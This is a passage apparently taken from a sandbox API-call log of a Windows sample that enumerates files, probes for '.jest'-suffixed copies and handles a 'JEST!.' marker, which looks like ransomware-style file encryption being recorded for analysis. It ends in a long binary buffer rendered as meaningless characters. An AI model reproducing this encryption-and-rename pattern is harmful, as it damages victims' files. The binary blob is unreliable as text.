| out: pdateOut=0x18e9d4) returned 0x0 [0121.570] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0xef)) [0121.570] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0xef)) [0121.570] GetUserDefaultLCID () returned 0x409 [0121.570] VarBstrFromR4 (in: fltIn=0x4794431f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75910.24") returned 0x0 [0121.570] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm", lpFilePart=0x18e780*="Garden.htm") returned 0x4a [0121.571] GetFullPathNameA (in: lpFileName="qZlwGbvBaKBy7CKT1twV-L8pWmwGDbluI8NsUk70i-3NhZ1Zigp8W0ZvDOjPSHdGq2R98tgkQuhPcuRIX6haUL DC0GFMTpAl-CR.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qZlwGbvBaKBy7CKT1twV-L8pWmwGDbluI8NsUk70i-3NhZ1Zigp8W0ZvDOjPSHdGq2R98tgkQuhPcuRIX6haUL DC0GFMTpAl-CR.tmp", lpFilePart=0x18e708*="qZlwGbvBaKBy7CKT1twV-L8pWmwGDbluI8NsUk70i-3NhZ1Zigp8W0ZvDOjPSHdGq2R98tgkQuhPcuRIX6haUL DC0GFMTpAl-CR.tmp") returned 0x8e [0121.571] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm", lpFilePart=0x18e708*="Garden.htm") returned 0x4a [0121.571] GetFullPathNameA (in: lpFileName="qZlwGbvBaKBy7CKT1twV-L8pWmwGDbluI8NsUk70i-3NhZ1Zigp8W0ZvDOjPSHdGq2R98tgkQuhPcuRIX6haUL DC0GFMTpAl-CR.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qZlwGbvBaKBy7CKT1twV-L8pWmwGDbluI8NsUk70i-3NhZ1Zigp8W0ZvDOjPSHdGq2R98tgkQuhPcuRIX6haUL DC0GFMTpAl-CR.tmp", lpFilePart=0x18e6e4*="qZlwGbvBaKBy7CKT1twV-L8pWmwGDbluI8NsUk70i-3NhZ1Zigp8W0ZvDOjPSHdGq2R98tgkQuhPcuRIX6haUL DC0GFMTpAl-CR.tmp") returned 0x8e [0121.571] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qZlwGbvBaKBy7CKT1twV-L8pWmwGDbluI8NsUk70i-3NhZ1Zigp8W0ZvDOjPSHdGq2R98tgkQuhPcuRIX6haUL DC0GFMTpAl-CR.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x776c5a71, cFileName="GbvBaKBy7CKT1twV-L8pWmwGDbluI8NsUk70i-3NhZ1Zigp8W0ZvDOjPSHdGq2R98tgkQuhPcuRIX6haUL DC0GFMTpAl-CR.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.571] GetLastError () returned 0x2 [0121.571] GetLastError () returned 0x2 [0121.571] SetLastError (dwErrCode=0x2) [0121.571] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.572] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.572] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.572] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.572] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.572] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", lpFilePart=0x18e870*="Garden.htm") returned 0x44 [0121.573] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.jest", lpFilePart=0x18e870*="Garden.htm.jest") returned 0x49 [0121.575] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", lpFilePart=0x18e6d8*="Garden.htm") returned 0x44 [0121.575] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x78, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 0x143ce48 [0121.575] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.575] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", lpFilePart=0x18e780*="Garden.htm") returned 0x44 [0121.576] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", lpFilePart=0x18e780*="Garden.htm") returned 0x44 [0121.576] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.576] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0xef)) [0121.576] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0xef)) [0121.576] GetUserDefaultLCID () returned 0x409 [0121.576] VarBstrFromR4 (in: fltIn=0x4794431f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75910.24") returned 0x0 [0121.576] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", lpFilePart=0x18e780*="Garden.htm") returned 0x44 [0121.577] GetFullPathNameA (in: lpFileName="V9lj3jrCwIcMFLC3vM9okE5gTpMHBQsz1qMm8UpQNKz6Tp83Ic71O7uT5XJQODLmKxsNBoAZGeYv0uTHsX-HQ3Q69G3gpWC0M_i.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\V9lj3jrCwIcMFLC3vM9okE5gTpMHBQsz1qMm8UpQNKz6Tp83Ic71O7uT5XJQODLmKxsNBoAZGeYv0uTHsX-HQ3Q69G3gpWC0M_i.tmp", lpFilePart=0x18e708*="V9lj3jrCwIcMFLC3vM9okE5gTpMHBQsz1qMm8UpQNKz6Tp83Ic71O7uT5XJQODLmKxsNBoAZGeYv0uTHsX-HQ3Q69G3gpWC0M_i.tmp") returned 0x8d [0121.577] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", lpFilePart=0x18e708*="Garden.htm") returned 0x44 [0121.577] GetFullPathNameA (in: lpFileName="V9lj3jrCwIcMFLC3vM9okE5gTpMHBQsz1qMm8UpQNKz6Tp83Ic71O7uT5XJQODLmKxsNBoAZGeYv0uTHsX-HQ3Q69G3gpWC0M_i.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\V9lj3jrCwIcMFLC3vM9okE5gTpMHBQsz1qMm8UpQNKz6Tp83Ic71O7uT5XJQODLmKxsNBoAZGeYv0uTHsX-HQ3Q69G3gpWC0M_i.tmp", lpFilePart=0x18e6e4*="V9lj3jrCwIcMFLC3vM9okE5gTpMHBQsz1qMm8UpQNKz6Tp83Ic71O7uT5XJQODLmKxsNBoAZGeYv0uTHsX-HQ3Q69G3gpWC0M_i.tmp") returned 0x8d [0121.577] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\V9lj3jrCwIcMFLC3vM9okE5gTpMHBQsz1qMm8UpQNKz6Tp83Ic71O7uT5XJQODLmKxsNBoAZGeYv0uTHsX-HQ3Q69G3gpWC0M_i.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6a6c3956, cFileName="3jrCwIcMFLC3vM9okE5gTpMHBQsz1qMm8UpQNKz6Tp83Ic71O7uT5XJQODLmKxsNBoAZGeYv0uTHsX-HQ3Q69G3gpWC0M_i.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0121.577] GetLastError () returned 0x2 [0121.577] GetLastError () returned 0x2 [0121.577] SetLastError (dwErrCode=0x2) [0121.578] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0121.578] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0121.578] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0121.578] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0121.578] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0121.581] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", lpFilePart=0x18e870*="Garden.jpg") returned 0x4a [0122.133] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.jest", lpFilePart=0x18e870*="Garden.jpg.jest") returned 0x4f [0122.140] IMalloc:Alloc (This=0x767666bc, cb=0x8c) returned 0x14c4a90 [0122.140] GetUserDefaultLCID () returned 0x409 [0122.140] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x18ea2c, cchData=6 | out: lpLCData="1252") returned 5 [0122.140] SysStringLen (param_1="JEST!.") returned 0x6 [0122.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JEST!.", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0122.140] SysStringLen (param_1="JEST!.") returned 0x6 [0122.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JEST!.", cchWideChar=7, lpMultiByteStr=0x14aaba4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JEST!.", lpUsedDefaultChar=0x0) returned 7 [0122.144] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", lpFilePart=0x18e6d8*="Garden.jpg") returned 0x4a [0122.144] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4216cde4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4216cde4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x82780ebc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x78, dwReserved1=0x5e086533, cFileName="Garden.jpg", cAlternateFileName="")) returned 0x143ce48 [0122.144] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0122.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0122.149] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", lpFilePart=0x18e780*="Garden.jpg") returned 0x4a [0122.152] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", lpFilePart=0x18e780*="Garden.jpg") returned 0x4a [0122.152] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0122.152] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0x320)) [0122.152] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xa, wMilliseconds=0x320)) [0122.153] GetUserDefaultLCID () returned 0x409 [0122.153] VarBstrFromR4 (in: fltIn=0x47944366, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75910.8") returned 0x0 [0122.154] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x18e9b8, cchData=6 | out: lpLCData="1252") returned 5 [0122.154] SysStringByteLen (bstr="Ϧ┑ᴯペᶯ覟鋌祁킴숰?䀯ࣣ?闶Լ颤ᠡw딈흃䈶튼ﶍ罇❇쮏慶凘켂瘕鷪콒䩛ꀉ왣䆖莚䄍ꠢ드✽ⵄࠐ질䲾瀻뗩룉Ი薩랧ﾞ宭ஈ稶嵦㗨瞷⭞鍐휼㨠⏃䈑唹篫룡졢힗?䀸뷰ῃ흶⍁莩ￔﴤ࡝䥌ꄇ설껱ￚ綯᠎唴ᑪꃁ犰熔闉㠩뺀檩摉薊垓䣽鰉츛땽⥩뾑?学鍵῏⣽閤?쩾ᐁ䶂?霹ᡎḮꍽ䧖?ﴻ霰ꑶ듄颪⽃鈹ⴗ㘍?膊ꮩ罥⹌ᮘ鲚쌔ᴾ⎠욋毑ণ髇揞脣慳譭዁┵歭埵铽ჳ꺄菄㜝ᩦ탬ꤵ迥粢슬ధ恖⓵搢᎝뢀ὁᳫ뗙ꭨ?๮ꏴᗋ㩪⟿揇鄩↣ⴣ\x86➶힞물厵箾ఘ粈镡袱儭㙼䆋?䅋圀꿤벋⎤虻ԯᦗ䘬挐ᚫ㏐ᑽ꾔巕競፽眝ꔹ僨ꨳ籍竭楡Ⓤ몧稿ృꚜ崯᱑Ὧ叕膊踢㓣䘖袇毴脱刧?ர곖骂䊭﫩庣蕲疀殺۝먶䛹?攉뒏酄䱬?咋Ȁ䋕ꇮ鈀ᵇ馱壂僇੗꫖퉸ꀯ♄犭ﱘ?婰⦧꣌꺦ꌚ̷㓡䐁胵뾘돥炾廨ꄄ⻼襺㕡퓮¸䇡䔝␎冞㹥ꎫ慑⳯裎䍌캭搕ꉾਡ焳ૅന菎뚹冷喘졼嵋Ṛ胘뺭帬ҏ㘨엽㏧ꀹ?크诳ﭧ鐫巶졊黳栞ﴇ苚놤귗㐰엔坪?ୀ紲硑脁鑎ސ溵迶ϯ驯乄廳ᢶ枿ꁉꇐ鎧ꮢꘅ鰎ᅬ樜쉋쫤簼㿜뤘頜簑幡﮻㲝稺瓋풩䟉䱠筇㰶얆굊࿙볉䭇빢鯘艪虝⤓ↈ틺૱讣⌎ꇤ飚髈踻頨䞋檵硚㢤✨๜榁㈼ᦔ豻亙靁㔮꥽锘䜅杏?￢駾핐䀹靠眦穊Ꚅ䩘鉐ㄧ妩◾띙ࢶ鹦况䴻䉶⮚積⦷韕閔䰻퇂䇄㾳꫁햵㱏잘䃘꿏㇀ﮅ嶝೗⢿쮞긊쌅胴鄀댟豘瑼뚱聪ꑕ伃휍ꢻ硭ധ鶖✷ᶼ큤冇⏭ꦀ䚖벺థ쭨灝㙾ㆭ淀돒傼絶罖ള㿝ྨᆌ榓悛䣝妭䜟룓❴⊒䄚뒍ო뛬⼥郙?ᣫ傶끸⩾?ᡓ稻펩സ樅ࡱ䨀㯻豙?惢璢ẍ฽䙟ꦾ䍖﮵࠲퇞쏠犬츔䱦鬃ꂀ➒퇪쪂軁ﰚ饞졝꽷?윋딉ಪ䟜뙮伝뎐却븐랭沓晟돡쾋倪䞝栭뛂⪉㿉⼨蒾⠛߆ᚫ㷼뒗Ნ憵蝏㡍➷ꉹ놕䉨끺య鷳┑愬㼈澈氤᧍↾蠿못붗颹틇ʧ띟傓㎸겷᚟㬀荦ꉫᜋ?빚榓轭㲱賵ꊗ쓂ⴈ饡鰯ᝲȀ埰?灊ҧ쓘ꙫ無巏ꞧ혆졵取퐖‣빙埏鿰觢鍛⫶ϗ쳹㋉Ợ색坦ꍴ冷?觼톩䴻失ꧺἢ㇎쓲ꀮ聾寇莂닼窵㏬咖峠﵇ぎ쑾缣⣣앏筯싅嘧㹌䅤琸㚩㩿᷉髹꫊푤८柘컉貿萀帏?籽囪ꄍ鈞㉄珑惺댾神鼖㓃倂䣻횫פꈎṤꗏ鯳폼괇퓉櫭壆୾䋕쇫澁橢갪䝇㊴杼씲該皐墢爵㌃陥ꦊ櫐䀭வ㛳瞉쥸䛖䳐㑴꾏뀖ࣥ恶棹拚च探潚㿒ꑼ榚駸ϋ襁㙍ќ糫?ᥙ푾呵締?ᑀ惋ძ낋錮ᓁ儃ൈꢘ儰챱ހ萨鼻ꪆ㙾褂ⅶ?⩵믾넴鮑?댳ￛ乓툼苤判꘦띄퐬斫꿌♀頿⎡୅딊㺂愍挈剦⦖嚆宻?쩟퐪㿕⎼ﭯ嚵⺈DŽ껨檶た➑샦婕뼺䢆胣⯽ᵪ⒏먝Մ੷繿렖琘梅鍽쀱㗰쉑젒郷봤숮政殘茋鷎漟⿐芹萃?理喛⡜럪썚룜傌঑⹈㔎鎫都ㅮ⮻ᜌ?䇿䟠雚굜?㷞岟놤㖽귑䱑䧷枝q咽준쐱尒ຂꨮ䤕郵๞빨钣徨㙬懃艬剟㈂禫⌁⮹挝㿑嗏陘駞没閳፝鼄죆죴濍≥덈債힞㸕䗳篧矲䨘չ㢫ꏥ셸⤨晦醙䰆灴暭ს셈ﳥ몴ᚰgￗ밽✬메쵡췼쿄〞䥟髰ꓣ呂淑泋㲭촜㸗?鬀ᚈ嶑羆穦₪쎪㧘빐珇ٺ⛎ꔭꉈʪ舴㓻䤻⧢契썳챡옥〒덡앥境뻌૙ွ또䈂幗塓칥嵤棠ᓀꎆ?䝒嫁垖身᲏煝☟鲡꘶匸镫ᬓ얌媱硖뵘䎨쾮퉟枓닺ᇃ阦겢᭩鷮捽ꡋბঘ㺐䚫ὥ셏≩鞌ཱུ뜓ꬍ鍎槵箑ᑋ楮훍䐜?뗿ꀢ␬ꩢ櫼齽⚪㗱⋭攂ஶ蓴楲⮐䕂렗ઃ꺛铘ጔ袼韼鋓ꂸ핺ඊ悥䒡檼䪓둇傷ﾅ컲媩큄萝爧?င黱䨄ᗋꔿ悇麊ӊ浮캨덼ᯂ쭌﮾ꝇꄘԊ틥ካ⼁噻刐ॾ驕⥩㦒㯶⅏쥛ៜ餫ꛕჲ왼䙥蔨췶⵭疠죶⿣傍켝䵍ᑡᵡё猢묃⅃삔녥刽炪ၨ斝⭈⸽䡑㹶￢랳䇷郑அ筥됌澎說ꁷ幛ក꟩웣⦷뽒㠶⏋?齇쾇箁럂㶘ី官쑇瑸㎼렆㱄ꛎᷮ뛙羚딑웿⾕릦颫弰㡗曳ꈹ溷ﺐ筲㼣ᛲ?ည䖴弐宨ở契舛蹚逾ᑧ黟平῭省មఏ㣤ⲻႿ஥✮呢ﱩ瞦곖큇촹譄﻾哃ﻺ炂㋗艍푌ᮝ᥀ᐌ핲㪓饛儍驢㉖ꚃॄ拷쁸龔걝燩緈Ŷ헑鐘⛥꠷䕒쫺䃫ᣢ䤇䧱ᗉ壦⒲峞Έ칒¥难魫噮直࿧ⲿŀ㏒ಽ㖱胕?旸䶠麶辂훴蘋痙翰⩑홨㳓蓚⌜쫝썭襰㶓딂࢝쉑䚱邛쉧祯털⌵?꜠緂뻡ⱷ騹騎蹶鷠䂡߱곃簐炿벗磘鵓魒᠓㤽饨폫棝蔞秌龿暟기禡ᡉ⁗몼ꛤ읔∞窻洘鼀鍅䇆扞嫕痬⇍⡘횡麻븗랐簳ᜬથ䎪褃几郌㻯妰﯑錴䨅ⴌ㡥鹬ᯱ?蟖쬃\x93ⷚ斄즗덞ᮇ㺎쮤甎䑓湦籌ɿ泧뱐삭᫣뵛༽뢃ⰰ곯吟Δ꽏홒⌧ꥮﱭ摄犪槧뗯嬞?酒ຘ剱䔍ꆾ蝍ꪷ嚔篽혺⼜⨶?崦律쎴뮆⑐齰葎湏᪠瞥?䞬㾹궉挟쉅뛇聊鬣ﴉʰ后⁻ﱻ㌾䤥ဝ䰱팝韚덴푪쩚涚쳼㡐⵬ȑᗠﰠ瘗뒁摐䁡㓵媳켬暹ٯ悅ो甈⽀ⷢ톝蹆ቓ頾딞墚멜Ꮳ쯧敉鑻_㮒ߺ貊룤Ƥ풛赅Ꜭ睳굟幢ﳅ㴸썀_匔䇺Ꭳﮏ唛?館쯙➐㳓蔴糠雯⚦꾖甉橆㾈²鉣뱴ᕐ侻?ぎࡘ췥嘀툶Ἄ钠ㆾ醦硜Ȋᆆ吣渦㣘䵌ﹲᝫ뼹㷴ꄧ៯ꝿᶬ䫊盲┵矍珖訯鎵꛶噅社뺄䜍\x91㐦㪵鬉桞啋䴂༠盅詣螺㐁뢈툖脄␚焤봛갂◨ꌢ埢㚸俻㞴芥Ờ?维㽂Ɱ?ጵ먐䋅抠퐓锉⹳곃푉傛퍐盉쏆❅㩹ꥦ픷좯鈎됺䙼먷ꔘ䮒䢫腚촚急ﻆ塧䔇㕎鯜ڜᙗ赍纪貊镋??몆?䠤潽ꇊ䤕鷘醁뻘鉕䓸百ᖰ݀簢쩭庩긽୺ෛ蓐騔䒣軰䋻떟못桉◎ꩫ荠ꊶ쁧婿帿没鋴橹妰瓂ရ捸哪)쿔旔剓2歷朞䀟얍痹л蘒嵷뫥붵⠖쭧둡ﬠ焽⯋཈䏕䇸֚儹ꌡ溻煬쨢坦葛쐗Դ淿쪗㒤ࢮᦕꈚ敫广힜猶翋‸뉁됲깅蠂툋ѨΈᱧ겙㔏霍䋙麛ᑨ䎵禴僧큁䃪ꑶ枞අ༺騗騰沀縉莵꯲几瓥瞉罈뙴퇤倮礱戏А࿂㼆⿐롱꥚魫ḟៃ쫻䯱䔔풗㏚엢遏뤹ⷈ걸쩋꼚趘⋾쨁麥呧ẍᓪ쀔㹀㥊ꝑ㰽⹔᭣怼ꐓ⎍钙畐஘䋊剅쥊?広ࡩЬ㴭껸ษ絒㔢?䃳芆쫏듎꿻꘱㸙郓足袾箞?ᐞﱯ醥?ꉳ圄㞼?콓챨싯쏱๎?ל죾ㇵ態漄⤝ꆑᚳ稦ံꊬꙟ嬔欿ༀꐨ㢿ꧦ鴱录䲆ꟃ藏謉럢켼?ᡵ봂狲秌ﵯ眒냃灡뫡舝聀䎛쐜㇘漋ꌠ⭥魌戎㸐ؒꍅ塄쉱Т悦␞빅쉶鼨蘀벝㦄孽袟ᯨ歨倩᮵๗蝡붍삃粺뽻ꡒ娠餆儁㊝뼤뇮뢏᩼턄ﯤᒚ痨ӹ聇▷뻵ꨙ볻쮠ꈑ関Ǟ֦뗽?忙뾊㘭ㆈ苾긵䕰歝?褫昒隠?老존ጡ倕띱䑣嗬ޡ爵崧ꦐ൵韙圳잵卟꘩辶敼零ꯃ?疾夜忒毄㨭蠕洮絯俳跉໬䀊㊣䅕㙁⁕愐驦狅笲蟡??ᑃ䥇䈇苩ꄦ꼰鈋쥨뗥ᓵ팘⎃믋욜캌臌ꉂ⊗돎慒憲龬⣰怩ꨂϓ僥㐫慶뙆琽뤡잼₱僻䧴촤쒀錗ᡨ壽ﾨ匩꬀홉劷□冓켝踏?跍焽䰌붣姜므উ◥崦뉄즘텐ሓꀨᄷ뺣ﵡ⫢樝즵䫍韭贞敋뿂ﭛ?뼰毦䡇妤윶蓈녣훃ﰘ蚉꼂퐸䎙ᇱ㑣教鷛淏곺ꄥ枓郍杵엵굎䔟ᬍ浓荗戭ᜣ⮼㽥⿅媎⋂榗᫸䷆ᛈ?喤힨὆嘀镝퓉ꦎᔨ䲤댿簪홭綤ꂦ⧻\x15礪▌य＇臞⨏ᝒ먼鐔圎欞逻礑㷥ꤥꐣ漿⿭Ꮲ尻ས摕쩖릹荛侹퀯侽⇞ጷ퐝古ﮐ࿗᤺녊࿻掮豤꼒࣌옊½䝸켤싆圉츬偎챇ஜẗሑ딧